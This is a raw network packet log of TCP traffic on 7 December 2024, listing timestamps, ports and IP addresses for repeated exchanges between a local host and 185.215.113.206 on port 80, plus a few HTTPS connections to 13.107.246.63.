Dec 7, 2024 18:26:46.528702021 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.528755903 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.528850079 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.528896093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.529825926 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.529886007 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.529903889 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.529943943 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.530864000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.530910969 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.530956030 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.531001091 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.531903982 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.531954050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.532035112 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.532075882 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.532987118 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.533036947 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.533099890 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.533143044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.534087896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.534141064 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.534179926 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.534224987 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.535136938 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.535187960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.535218000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.535260916 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.536186934 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.536236048 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.536267996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.536309004 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.537247896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.537296057 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.537395000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.537436962 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.538302898 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.538351059 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.538418055 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.538465023 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.539361000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.539412975 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.539474964 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.539519072 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.540436029 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.540486097 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.540537119 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.540582895 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.541501999 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.541560888 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.541611910 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.541661978 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.586483955 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.586551905 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.586572886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.586600065 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.644510984 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.644601107 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.644606113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.644639969 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.645003080 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.645056009 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.645122051 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.645170927 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.646110058 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.646157026 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.646193027 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.646235943 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.647259951 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.647326946 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.647392988 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.647453070 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.648236036 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.648287058 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.648363113 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.648408890 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.649272919 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.649321079 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.649404049 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.649446964 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.650341034 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.650386095 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.650439978 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.650489092 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.651465893 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.651518106 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.651678085 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.651725054 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.652487040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.652533054 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.652621984 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.652667999 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.653518915 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.653568029 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.653651953 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.653697014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.654589891 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.654637098 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.654714108 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.654762030 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.655649900 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.655699968 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.655782938 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.655833006 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.656738997 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.656785965 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.656869888 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.656917095 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.657788038 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.657831907 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.657974005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.658020020 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.658871889 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.658922911 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.658982992 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.659024954 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.659954071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.660003901 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.660182953 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.660228014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.660999060 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.661047935 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.661153078 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.661197901 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.662065983 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.662112951 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.662194014 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.662236929 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.663145065 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.663189888 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.663290024 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.663337946 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.664211988 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.664271116 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.664307117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.664349079 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.665263891 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.665313959 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.665389061 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.665435076 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.666418076 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.666465044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.666546106 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.666594982 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.667633057 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.667681932 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.667773008 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.667825937 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.668557882 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.668605089 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.668606043 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.668641090 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.669516087 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.669564009 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.669644117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.669688940 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.670634985 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.670695066 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.670774937 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.670825958 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.671696901 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.671747923 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.671782970 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.671825886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.769390106 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.769443989 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.769507885 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.769542933 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.769923925 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.769968987 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.770112991 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.770163059 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.770982027 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.771044016 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.771183968 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.771234035 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.772042990 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.772097111 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.772172928 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.772222042 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.773165941 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.773211956 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.773340940 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.773386955 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.774187088 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.774235964 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.774365902 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.774409056 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.775280952 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.775326014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.775407076 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.775449991 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.776326895 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.776376009 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.776444912 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.776489973 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.777371883 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.777419090 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.777507067 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.777548075 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.778532982 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.778579950 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.778661966 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.778702974 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.779573917 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.779623985 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.779659986 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.779705048 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.780699968 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.780756950 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.780788898 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.780827999 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.781686068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.781728983 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.781770945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.781811953 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.782731056 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.782783985 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.782933950 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.782979965 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.783843040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.783893108 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.784007072 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.784049988 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.784923077 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.784969091 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.785060883 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.785104990 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.786055088 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.786103964 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.786144018 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.786184072 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.787116051 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.787162066 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.787260056 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.787300110 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.788065910 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.788117886 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.788172960 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.788213015 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.789200068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.789244890 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.789335966 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.789376020 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.790313959 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.790363073 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.790445089 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.790482998 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.791265011 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.791317940 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.791433096 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.791485071 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.792332888 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.792383909 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.792448044 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.792489052 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.793410063 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.793457031 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.793507099 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.793546915 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.794450045 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.794501066 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.794554949 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.794595003 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.795553923 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.795608044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.795646906 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.795686007 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.796650887 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.796704054 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.796730995 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.796766043 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.797673941 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.797719002 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.797774076 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.797815084 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.798708916 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.798758030 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.861037016 CET	443	49795	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.861102104 CET	443	49795	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.861172915 CET	49795	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.861377001 CET	49795	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.861398935 CET	443	49795	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.861412048 CET	49795	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.861418009 CET	443	49795	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.861640930 CET	443	49794	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.861695051 CET	443	49794	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.861736059 CET	49794	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.861810923 CET	49794	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.861828089 CET	443	49794	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.861839056 CET	49794	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.861845016 CET	443	49794	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.864291906 CET	49799	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.864327908 CET	443	49799	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.864384890 CET	49800	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.864403963 CET	49799	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.864424944 CET	443	49800	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.864475012 CET	49800	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.864537001 CET	49799	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.864548922 CET	443	49799	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.864653111 CET	49800	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:46.864672899 CET	443	49800	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:46.895931005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.896007061 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.896032095 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.896065950 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.896543980 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.896593094 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.896667957 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.896713972 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.897505999 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.897552967 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.897655010 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.897700071 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.898639917 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.898685932 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.898751020 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.898798943 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.899441004 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.899487972 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.899565935 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.899614096 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.900705099 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.900751114 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.900876045 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.901004076 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.901614904 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.901653051 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.901761055 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.901804924 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.902789116 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.902853966 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.902867079 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.902901888 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.903620958 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.903666973 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.903693914 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.903732061 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:46.904509068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:46.904558897 CET	49786	80	192.168.2.7	185.215.113.206
